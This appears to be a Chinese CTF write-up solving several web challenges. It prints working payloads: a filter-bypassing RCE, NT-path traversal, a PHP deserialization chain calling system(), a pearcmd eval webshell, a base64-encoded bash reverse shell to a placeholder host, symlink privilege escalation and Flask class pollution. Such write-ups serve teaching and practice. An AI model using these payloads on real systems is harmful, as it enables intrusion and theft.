Web

Really_Ez_Rce

源码

 1<?php
 2header('Content-Type: text/html; charset=utf-8');
 3highlight_file(__FILE__);
 4error_reporting(0);
 5
 6if (isset($_REQUEST['Number'])) {
 7    $inputNumber = $_REQUEST['Number'];
 8    
 9    if (preg_match('/\d/', $inputNumber)) {
10        die("不行不行,不能这样");
11    }
12
13    if (intval($inputNumber)) {
14        echo "OK,接下来你知道该怎么做吗";
15        
16        if (isset($_POST['cmd'])) {
17            $cmd = $_POST['cmd'];
18            
19            if (!preg_match(
20                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
21                $cmd
22            )) {
23                echo "你传的参数似乎挺正经的,放你过去吧<br>";
24                system($cmd);
25            } else {
26                echo "nonono,hacker!!!";
27            }
28        }
29    }
30}

Payload:

POST: Number[]=1&cmd=ec``ho Y2F0IC9mKg== | ba``se64 -d | bas``h

Watch

出题人写了一个基于 ntdll.dll 的 Windows NT 原生 API 调用实现的文件读取库

  1package utils
  2
  3import (
  4	"fmt"
  5	"syscall"
  6	"unsafe"
  7)
  8
  9const (
 10	STATUS_SUCCESS               = 0x00000000
 11	STATUS_NO_MORE_FILES         = 0x80000006
 12	STATUS_BUFFER_OVERFLOW       = 0x80000005
 13	FILE_READ_DATA               = 0x0001
 14	FILE_LIST_DIRECTORY          = 0x0001
 15	FILE_READ_ATTRIBUTES         = 0x0080
 16	SYNCHRONIZE                  = 0x00100000
 17	FILE_SHARE_READ              = 0x00000001
 18	FILE_SHARE_WRITE             = 0x00000002
 19	FILE_SHARE_DELETE            = 0x00000004
 20	FILE_ATTRIBUTE_DIRECTORY     = 0x00000010
 21	FILE_DIRECTORY_FILE          = 0x00000001
 22	FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020
 23	OBJ_CASE_INSENSITIVE         = 0x00000040
 24	FileDirectoryInformation     = 1
 25	FileBasicInformation         = 4
 26)
 27
 28type UNICODE_STRING struct {
 29	Length        uint16
 30	MaximumLength uint16
 31	Buffer        *uint16
 32}
 33
 34type OBJECT_ATTRIBUTES struct {
 35	Length                   uint32
 36	RootDirectory            syscall.Handle
 37	ObjectName               *UNICODE_STRING
 38	Attributes               uint32
 39	SecurityDescriptor       uintptr
 40	SecurityQualityOfService uintptr
 41}
 42
 43type IO_STATUS_BLOCK struct {
 44	Status      uintptr
 45	Information uintptr
 46}
 47
 48type FILE_DIRECTORY_INFORMATION struct {
 49	NextEntryOffset uint32
 50	FileIndex       uint32
 51	CreationTime    int64
 52	LastAccessTime  int64
 53	LastWriteTime   int64
 54	ChangeTime      int64
 55	EndOfFile       int64
 56	AllocationSize  int64
 57	FileAttributes  uint32
 58	FileNameLength  uint32
 59}
 60
 61type FILE_BASIC_INFORMATION struct {
 62	CreationTime   int64
 63	LastAccessTime int64
 64	LastWriteTime  int64
 65	ChangeTime     int64
 66	FileAttributes uint32
 67}
 68
 69var (
 70	dll                      = syscall.NewLazyDLL("ntdll.dll")
 71	procOpenFile             = dll.NewProc("NtOpenFile")
 72	procClose                = dll.NewProc("NtClose")
 73	procQueryDirectoryFile   = dll.NewProc("NtQueryDirectoryFile")
 74	procReadFile             = dll.NewProc("NtReadFile")
 75	procQueryInformationFile = dll.NewProc("NtQueryInformationFile")
 76	procRtlInitUnicodeString = dll.NewProc("RtlInitUnicodeString")
 77)
 78
 79func rtlInitUnicodeString(destinationString *UNICODE_STRING, sourceString *uint16) {
 80	procRtlInitUnicodeString.Call(
 81		uintptr(unsafe.Pointer(destinationString)),
 82		uintptr(unsafe.Pointer(sourceString)),
 83	)
 84}
 85
 86func openFile(fileHandle *syscall.Handle, desiredAccess uint32, objectAttributes *OBJECT_ATTRIBUTES, ioStatusBlock *IO_STATUS_BLOCK, shareAccess uint32, openOptions uint32) uint32 {
 87	ret, _, _ := procOpenFile.Call(
 88		uintptr(unsafe.Pointer(fileHandle)),
 89		uintptr(desiredAccess),
 90		uintptr(unsafe.Pointer(objectAttributes)),
 91		uintptr(unsafe.Pointer(ioStatusBlock)),
 92		uintptr(shareAccess),
 93		uintptr(openOptions),
 94	)
 95	return uint32(ret)
 96}
 97
 98func HandleClose(handle syscall.Handle) uint32 {
 99	ret, _, _ := procClose.Call(uintptr(handle))
100	return uint32(ret)
101}
102
103func queryDirectoryFile(fileHandle syscall.Handle, event syscall.Handle, apcRoutine uintptr, apcContext uintptr, ioStatusBlock *IO_STATUS_BLOCK, fileInformation uintptr, length uint32, fileInformationClass uint32, returnSingleEntry bool, fileName *UNICODE_STRING, restartScan bool) uint32 {
104	var singleEntry uintptr = 0
105	if returnSingleEntry {
106		singleEntry = 1
107	}
108	var restart uintptr = 0
109	if restartScan {
110		restart = 1
111	}
112
113	ret, _, _ := procQueryDirectoryFile.Call(
114		uintptr(fileHandle),
115		uintptr(event),
116		apcRoutine,
117		apcContext,
118		uintptr(unsafe.Pointer(ioStatusBlock)),
119		fileInformation,
120		uintptr(length),
121		uintptr(fileInformationClass),
122		singleEntry,
123		uintptr(unsafe.Pointer(fileName)),
124		restart,
125	)
126	return uint32(ret)
127}
128
129func readFile(fileHandle syscall.Handle, event syscall.Handle, apcRoutine uintptr, apcContext uintptr, ioStatusBlock *IO_STATUS_BLOCK, buffer uintptr, length uint32, byteOffset *int64, key uintptr) uint32 {
130	ret, _, _ := procReadFile.Call(
131		uintptr(fileHandle),
132		uintptr(event),
133		apcRoutine,
134		apcContext,
135		uintptr(unsafe.Pointer(ioStatusBlock)),
136		buffer,
137		uintptr(length),
138		uintptr(unsafe.Pointer(byteOffset)),
139		key,
140	)
141	return uint32(ret)
142}
143
144func queryInformationFile(fileHandle syscall.Handle, ioStatusBlock *IO_STATUS_BLOCK, fileInformation uintptr, length uint32, fileInformationClass uint32) uint32 {
145	ret, _, _ := procQueryInformationFile.Call(
146		uintptr(fileHandle),
147		uintptr(unsafe.Pointer(ioStatusBlock)),
148		fileInformation,
149		uintptr(length),
150		uintptr(fileInformationClass),
151	)
152	return uint32(ret)
153}
154
155func stringToUTF16Ptr(s string) *uint16 {
156	utf16, err := syscall.UTF16FromString(s)
157	if err != nil {
158		return nil
159	}
160	return &utf16[0]
161}
162
163func utf16PtrToString(ptr *uint16, length uint32) string {
164	if ptr == nil || length == 0 {
165		return ""
166	}
167
168	slice := (*[256]uint16)(unsafe.Pointer(ptr))[:length/2]
169	return syscall.UTF16ToString(slice)
170}
171
172func OpenPath(path string) (syscall.Handle, bool, error) {
173	var objectNameDir UNICODE_STRING
174	var handle syscall.Handle
175	var iosb IO_STATUS_BLOCK
176	pathDirPtr := stringToUTF16Ptr(path + `\`)
177	rtlInitUnicodeString(&objectNameDir, pathDirPtr)
178
179	objAttrDir := OBJECT_ATTRIBUTES{
180		Length:     uint32(unsafe.Sizeof(OBJECT_ATTRIBUTES{})),
181		ObjectName: &objectNameDir,
182		Attributes: OBJ_CASE_INSENSITIVE,
183	}
184
185	status := openFile(
186		&handle,
187		FILE_LIST_DIRECTORY|FILE_READ_ATTRIBUTES|SYNCHRONIZE,
188		&objAttrDir,
189		&iosb,
190		FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
191		FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT,
192	)
193
194	if status == STATUS_SUCCESS {
195		return handle, true, nil
196	}
197
198	var objectNameFile UNICODE_STRING
199	pathFilePtr := stringToUTF16Ptr(path)
200	rtlInitUnicodeString(&objectNameFile, pathFilePtr)
201
202	objAttrFile := OBJECT_ATTRIBUTES{
203		Length:     uint32(unsafe.Sizeof(OBJECT_ATTRIBUTES{})),
204		ObjectName: &objectNameFile,
205		Attributes: OBJ_CASE_INSENSITIVE,
206	}
207
208	status = openFile(
209		&handle,
210		FILE_READ_DATA|FILE_READ_ATTRIBUTES|SYNCHRONIZE,
211		&objAttrFile,
212		&iosb,
213		FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
214		FILE_SYNCHRONOUS_IO_NONALERT,
215	)
216
217	if status == STATUS_SUCCESS {
218		return handle, false, nil
219	}
220
221	return 0, false, fmt.Errorf("cant open %s", path)
222}
223
224func ListDirectory(handle syscall.Handle) (string, error) {
225	const bufferSize = 65536
226	buffer := make([]byte, bufferSize)
227
228	var iosb IO_STATUS_BLOCK
229	var listString string
230	listString = "Directory\n==================\n"
231
232	for {
233		status := queryDirectoryFile(
234			handle,
235			0,
236			0,
237			0,
238			&iosb,
239			uintptr(unsafe.Pointer(&buffer[0])),
240			bufferSize,
241			FileDirectoryInformation,
242			false,
243			nil,
244			false,
245		)
246
247		if status == STATUS_NO_MORE_FILES {
248			break
249		}
250
251		if status != STATUS_SUCCESS && status != STATUS_BUFFER_OVERFLOW {
252			return "", fmt.Errorf("query directory failed")
253		}
254
255		offset := uint32(0)
256		for offset < uint32(iosb.Information) {
257			dirInfo := (*FILE_DIRECTORY_INFORMATION)(unsafe.Pointer(&buffer[offset]))
258
259			fileNamePtr := (*uint16)(unsafe.Pointer(uintptr(unsafe.Pointer(dirInfo)) + unsafe.Sizeof(*dirInfo)))
260			fileName := utf16PtrToString(fileNamePtr, dirInfo.FileNameLength)
261
262			fileType := "file"
263			if dirInfo.FileAttributes&FILE_ATTRIBUTE_DIRECTORY != 0 {
264				fileType = "dir"
265			}
266
267			listString += fmt.Sprintf("[%s] %s (size: %d bytes)\n", fileType, fileName, dirInfo.EndOfFile)
268
269			if dirInfo.NextEntryOffset == 0 {
270				break
271			}
272			offset += dirInfo.NextEntryOffset
273		}
274
275		if status != STATUS_BUFFER_OVERFLOW {
276			break
277		}
278	}
279	return listString, nil
280}
281
282func ReadFile(handle syscall.Handle) (string, error) {
283	var basicInfo FILE_BASIC_INFORMATION
284	var iosb IO_STATUS_BLOCK
285
286	status := queryInformationFile(
287		handle,
288		&iosb,
289		uintptr(unsafe.Pointer(&basicInfo)),
290		uint32(unsafe.Sizeof(basicInfo)),
291		FileBasicInformation,
292	)
293
294	if status != STATUS_SUCCESS {
295		return "", fmt.Errorf("get file information failed")
296	}
297
298	var fileString string
299	fileString = "File\n==================\n"
300
301	const maxReadSize = 1024 * 1024
302	buffer := make([]byte, maxReadSize)
303	var offset int64 = 0
304
305	status = readFile(
306		handle,
307		0,
308		0,
309		0,
310		&iosb,
311		uintptr(unsafe.Pointer(&buffer[0])),
312		maxReadSize,
313		&offset,
314		0,
315	)
316
317	if status == STATUS_SUCCESS {
318		bytesRead := iosb.Information
319		if bytesRead > 0 {
320			content := string(buffer[:bytesRead])
321			fileString += fmt.Sprintf("%s\n", content)
322			if bytesRead == maxReadSize {
323				fileString += fmt.Sprintf("\n[Tip: only part of the file is read, file size may be larger than 1MB]\n")
324			}
325		} else {
326			fileString += fmt.Sprintf("[file is empty]")
327		}
328	} else {
329		return "", fmt.Errorf("read file failed")
330	}
331
332	return fileString, nil
333}

我们看handle.go

image-20250608172059280

在这里会将我们传入的地址通过filepath.Join与\SystemRoot\进行拼接后传入OpenPath

image-20250608173711892

想要使用NtOpenFile读文件我们需要使用符合格式的nt路径,而不是我们平常使用的win32路径。

如题目中的\SystemRoot\就是指向C:\Windows\的符号链接

可以参考:https://kiwids.me/posts/NT-Filesystem-Internals-Study-Notes/#nt-namespace-native-object-paths

所以我们如果想要读D盘的话,就有两种方法,第一种就是通过盘符去读

\??\D:\

第二种是通过卷的设备路径去读

\Device\HarddiskVolume3\  //HarddiskVolume2是C盘

回到这道题,由于会在传入的路径前面进行拼接,所以我们要在传入的path前面加入..

Payload

?path=..\??\D:\key.txt

或者

?path=..\Device\HarddiskVolume3\key.txt

题外话

事实上第一种方法是有局限性的,我们可以看到这道题的go的版本为1.20,filepath.Join不会对??\D:\进行过滤

而在最新的版本中会将??\转换为\.??\,导致方法一失效,如图:

这是GO1.23.6版的filepath.Join

image-20250608175939231

这是GO1.20版本的filepath.Join

image-20250608180659681

而第二种方法则不受版本限制,在高版本中依旧适用

ez_php

题目

 1<?php
 2error_reporting(0);
 3class GOGOGO{
 4    public $dengchao;
 5    function __destruct(){
 6        echo "Go Go Go~ 出发喽!" . $this->dengchao;
 7    }
 8}
 9class DouBao{
10    public $dao;
11    public $Dagongren;
12    public $Bagongren;
13    function __toString(){
14        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
15            call_user_func_array($this->dao, ['诗人我吃!']);
16        }
17    }
18}
19class HeiCaFei{
20    public $HongCaFei;
21    function __call($name, $arguments){
22        call_user_func_array($this->HongCaFei, [0 => $name]);
23    }
24}
25
26if (isset($_POST['data'])) {
27    $temp = unserialize($_POST['data']);
28    throw new Exception('What do you want to do?');
29} else {
30    highlight_file(__FILE__);
31}
32?>

POC

 1<?php
 2
 3class GOGOGO {
 4    public $dengchao;
 5}
 6
 7class DouBao {
 8    public $dao;
 9    public $Dagongren;
10    public $Bagongren;
11}
12
13class HeiCaFei {
14    public $HongCaFei;
15}
16
17$exp = new GOGOGO();
18$exp -> dengchao = new Doubao();
19$hcf = new HeiCaFei();
20$hcf->HongCaFei = "system";
21$exp -> dengchao -> dao  = array($hcf,"cat /ofl1111111111ove4g");
22$a=new Error("xrntkk",1);$b=new Error("xrntkk",2);
23$exp -> dengchao -> Dagongren = $a;
24$exp -> dengchao -> Bagongren = $b;
25
26
27echo urlencode(serialize($exp));

得到

O%3A6%3A%22GOGOGO%22%3A1%3A%7Bs%3A8%3A%22dengchao%22%3BO%3A6%3A%22DouBao%22%3A3%3A%7Bs%3A3%3A%22dao%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A8%3A%22HeiCaFei%22%3A1%3A%7Bs%3A9%3A%22HongCaFei%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A23%3A%22cat+%2Fofl1111111111ove4g%22%3B%7Ds%3A9%3A%22Dagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A9%3A%22Bagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D

还需要绕过

throw new Exception('What do you want to do?');

在最后一个括号前面加上;1即可

最终payload

O%3A6%3A%22GOGOGO%22%3A1%3A%7Bs%3A8%3A%22dengchao%22%3BO%3A6%3A%22DouBao%22%3A3%3A%7Bs%3A3%3A%22dao%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A8%3A%22HeiCaFei%22%3A1%3A%7Bs%3A9%3A%22HongCaFei%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A23%3A%22cat+%2Fofl1111111111ove4g%22%3B%7Ds%3A9%3A%22Dagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A9%3A%22Bagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D;1%7D

image-20250608210703322

DeceptiFlag

先对个脑洞

 1POST /?qaq=xiyangyang HTTP/1.1
 2Host: 27.25.151.198:38605
 3Upgrade-Insecure-Requests: 1
 4Cache-Control: max-age=0
 5Accept-Encoding: gzip, deflate
 6Referer: http://27.25.151.198:38605/
 7Cookie: PHPSESSID=d75f67cbc118fd9eb75b84c0c91cd7fd; pahint=L3Zhci9mbGFnL2ZsYWcudHh0
 8Origin: http://27.25.151.198:38605
 9Accept-Language: zh-CN,zh;q=0.9
10Content-Type: application/x-www-form-urlencoded
11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
12Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
13Content-Length: 28
14
15qaq_visible=xiyangyang&Lang=huitailang

接着看到可以文件包含,但是会在后面拼接上.php

伪协议直接读

 1POST /tips.php?file=php://filter/resource=/var/flag/flag.txt HTTP/1.1
 2Host: 27.25.151.198:38605
 3Upgrade-Insecure-Requests: 1
 4Cache-Control: max-age=0
 5Accept-Encoding: gzip, deflate
 6Referer: http://27.25.151.198:38605/
 7Cookie: PHPSESSID=d75f67cbc118fd9eb75b84c0c91cd7fd; pahint=L3Zhci9mbGFnL2ZsYWcudHh0
 8Origin: http://27.25.151.198:38605
 9Accept-Language: zh-CN,zh;q=0.9
10Content-Type: application/x-www-form-urlencoded
11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
12Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
13Content-Length: 28
14
15qaq_visible=xiyangyang&Lang=huitailang

image-20250608181820237

这题也可以打pearcmd,狠狠上马

 1POST /tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+1.php HTTP/1.1
 2Host: 27.25.151.198:49096
 3Content-Type: application/x-www-form-urlencoded
 4Accept-Encoding: gzip, deflate
 5Cookie: PHPSESSID=354fc88851eeee8113a2f34aa8b997d1; pahint=L3Zhci9mbGFnL2ZsYWcudHh0
 6Accept-Language: zh-CN,zh;q=0.9
 7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 8Referer: http://27.25.151.198:49096/
 9Origin: http://27.25.151.198:49096
10Cache-Control: max-age=0
11Upgrade-Insecure-Requests: 1
12User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
13Content-Length: 28
14
15qaq_visible=xiyangyang&Lang=huitailang

[WEB+RE]Just Ping Part 1

GO的逆向

ida打开可以看到两个路由/api/ping和/api/testDevelopApi

image-20250608182237347

跟进off_72CBA8函数后跟进moran_goweb1_handle_DevelopmentHandler

image-20250608182412120

看不懂,直接扔给gpt分析

/api/testDevelopApi路由代码逻辑大致如下(不会逆向,大概看看

 1func DevelopmentHandler(w http.ResponseWriter, r *http.Request) {
 2    query := r.URL.Query()
 3    cmdStr := query.Get("cmd")
 4    if cmdStr == "" {
 5        http.Error(w, "cmd cant be null", 400)
 6        return
 7    }
 8
 9    // 从对象池取命令字符串对象
10    poolObj := commandStringPool.Get()
11
12    // 用 shlex 解析命令字符串
13    args, err := shlex.Split(cmdStr)
14    if err != nil {
15        // 解析失败时,显式回收
16        commandStringPool.Put(poolObj)
17        http.Error(w, "server error", 400)
18        return
19    }
20
21    // 执行命令
22    output, err := exec.Command(args[0], args[1:]...).CombinedOutput()
23    if err != nil {
24        // 执行失败时,显式回收
25        commandStringPool.Put(poolObj)
26        http.Error(w, "command error", 400)
27        return
28    }
29
30    // 写响应
31    _, err = w.Write([]byte("Command executed successfully.\n"))
32    if err != nil {
33        // 响应写失败时,显式回收
34        commandStringPool.Put(poolObj)
35        http.Error(w, "write error", 500)
36        return
37    }
38
39    // 命令执行完毕且响应写完,显式回收对象池资源
40    commandStringPool.Put(poolObj)
41}

shlex.Split库会将传入的命令按照空格分割成数组,并传入exec.Command,但是没有回显

/api/ping路由实在看不懂了,就没看

直接看web端,无疑中发现

image-20250608190600910

我测这怎么回事

经过测试可以发现,当在/api/testDevelopApi传入时

echo 555 555 555

在/api/ping中传入ip会出现如下的情况

image-20250608190844691

大概可以理解为/api/ping和/api/testDevelopApi共用一个对象池Pool,我们在/api/testDevelopApi中执行命令后在/api/ping处发生了资源的复用

跟进/api/ping的回显,我们可以猜到这里执行的命令应该是

ping -c 4 127.0.0.1

猜测正常情况下/api/ping会从连接池中获取模板ping -c 4 ip并将最后一个参数替换为传入的IP,当我们在/api/testDevelopApi传入echo 555 555 555时,被/api/ping获取了,并拼接为echo 555 555 127.0.0.1执行。

所以我们可以构造出Payload:

/api/testDevelopApi?cmd=cat /flag 555

image-20250608191954605

拿到flag

[WEB+RE]Just Ping Part 2

这题跟上一题的web部分完全相同,但是为了方便,这题我直接弹shell了

Payload:

bash+-c+echo%24%7bIFS%7d%22YmFzaCAtaSA%2bJiAvZGV2L3RjcC9pcC9wb3J0IDA%2bJjE%3d%22%24%7bIFS%7d%7c%24%7bIFS%7dbase64%24%7bIFS%7d-d%24%7bIFS%7d%7c%24%7bIFS%7dbash+123

题目中给了个附件

 1#!/bin/bash
 2
 3if [ ! -f "backup" ]; then
 4    exit 1
 5fi
 6
 7ACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)
 8
 9if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; then
10    backup
11    exit 0
12else
13    exit 1
14fi

里面提到了一个backup文件

可以找到文件的路径

/usr/local/etc/backup

web目录没有读写权限,我们可以base64编码后提取backup

对backup进行逆向分析

image-20250608220609527

Strings爆搜能找到两个路径,我们先来看backupList

image-20250608220932554

这里有一个/root/healthy

接着看/var/backups/backup.zip,我们依旧base64后提取出来

image-20250608221145124

image-20250608221249266

发现这里面应该就是刚刚backupList里面/root/healthy文件夹

也就是说backup会定时把backupList中的目录备份到/var/backups/目录

我们现在目标就是要想办法利用backup将/root目录打包,这样我们就可以拿到flag

但是由于我们没有backupList的读写权限,我们需要使用一些骚操作

Payload

 1enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ mkdir bak 
 2mkdir bak
 3
 4enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ mv backup bak/123
 5mv backup bak/123
 6
 7enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ ln -s bak/123 backup 
 8ln -s bak/123 backup
 9//利用软连接来保证backup能被正常检验和执行
10
11enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ echo "/root">backupList
12echo "/root">backupList
13//backupList需要在backup的上级目录

image-20250608222525162

提取backup.zip

image-20250608222628705

拿到flag

奇怪的咖啡店

题目给出了部分源码

  1from flask import Flask, session, request, render_template_string, render_template
  2import json
  3import os
  4
  5app = Flask(__name__)
  6app.config['SECRET_KEY'] = os.urandom(32).hex()
  7
  8@app.route('/', methods=['GET', 'POST'])
  9def store():
 10    if not session.get('name'):
 11        session['name'] = ''.join("customer")
 12        session['permission'] = 0
 13
 14    error_message = ''
 15    if request.method == 'POST':
 16        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
 17
 18    products = [
 19        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
 20        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
 21        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
 22        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
 23        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
 24    ]
 25
 26    return render_template('index.html',
 27                         error_message=error_message,
 28                         session=session,
 29                         products=products)
 30
 31
 32def add():
 33    pass
 34
 35
 36@app.route('/add', methods=['POST', 'GET'])
 37def adddd():
 38    if request.method == 'GET':
 39        return '''
 40            <html>
 41                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
 42                    <h2>添加商品</h2>
 43                    <form id="productForm">
 44                        <p>商品名称: <input type="text" id="name"></p>
 45                        <p>商品价格: <input type="text" id="price"></p>
 46                        <button type="button" onclick="submitForm()">添加商品</button>
 47                    </form>
 48                    <script>
 49                        function submitForm() {
 50                            const nameInput = document.getElementById('name').value;
 51                            const priceInput = document.getElementById('price').value;
 52
 53                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
 54                                method: 'POST',
 55                                headers: {
 56                                    'Content-Type': 'application/json',
 57                                },
 58                                body: nameInput
 59                            })
 60                            .then(response => response.text())
 61                            .then(data => alert(data))
 62                            .catch(error => console.error('错误:', error));
 63                        }
 64                    </script>
 65                </body>
 66            </html>
 67        '''
 68    elif request.method == 'POST':
 69        if request.data:
 70            try:
 71                raw_data = request.data.decode('utf-8')
 72                if check(raw_data):
 73                #检测添加的商品是否合法
 74                    return "该商品违规,无法上传"
 75                json_data = json.loads(raw_data)
 76
 77                if not isinstance(json_data, dict):
 78                    return "添加失败1"
 79
 80                merge(json_data, add)
 81                return "你无法添加商品哦"
 82
 83            except (UnicodeDecodeError, json.JSONDecodeError):
 84                return "添加失败2"
 85            except TypeError as e:
 86                return f"添加失败3"
 87            except Exception as e:
 88                return f"添加失败4"
 89        return "添加失败5"
 90
 91
 92
 93def merge(src, dst):
 94    for k, v in src.items():
 95        if hasattr(dst, '__getitem__'):
 96            if dst.get(k) and type(v) == dict:
 97                merge(v, dst.get(k))
 98            else:
 99                dst[k] = v
100        elif hasattr(dst, k) and type(v) == dict:
101            merge(v, getattr(dst, k))
102        else:
103            setattr(dst, k, v)
104
105
106
107app.run(host="0.0.0.0",port=5014)

/add路由存在原型链污染

远端应该是有waf的,但是给出的源码没给出来

if check(raw_data):
#检测添加的商品是否合法

waf比较简单,直接unicode编码绕过即可

先污染静态目录拿一手远端源码

 1POST /add HTTP/1.1
 2Host: 27.25.151.198:30362
 3Sec-Fetch-Dest: empty
 4Sec-Fetch-Mode: cors
 5Accept-Language: zh-CN,zh;q=0.9
 6sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
 7Referer: http://27.25.151.198:30362/add
 8Accept-Encoding: gzip, deflate, br, zstd
 9sec-ch-ua-platform: "Windows"
10Content-Type: application/json
11Origin: http://27.25.151.198:30362
12Accept: */*
13Sec-Fetch-Site: same-origin
14User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
15sec-ch-ua-mobile: ?0
16Content-Length: 3
17
18{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"\u0061\u0070\u0070":{"\u0073\u0074\u0061\u0074\u0069\u0063\u005F\u0066\u006F\u006C\u0064\u0065\u0072":"\u002F"}}}

访问/static/app.py即可拿到完整源码

  1from flask import Flask, session, request, render_template_string, render_template
  2import json
  3import os
  4
  5app = Flask(__name__)
  6app.config['SECRET_KEY'] = os.urandom(32).hex()
  7
  8@app.route('/', methods=['GET', 'POST'])
  9def store():
 10    if not session.get('name'):
 11        session['name'] = ''.join("customer")
 12        session['permission'] = 0
 13
 14    error_message = ''
 15    if request.method == 'POST':
 16        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
 17
 18    products = [
 19        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
 20        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
 21        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
 22        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
 23        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
 24    ]
 25
 26    return render_template('index.html',
 27                         error_message=error_message,
 28                         session=session,
 29                         products=products)
 30
 31
 32def add():
 33    pass
 34
 35
 36@app.route('/add', methods=['POST', 'GET'])
 37def adddd():
 38    if request.method == 'GET':
 39        return '''
 40            <html>
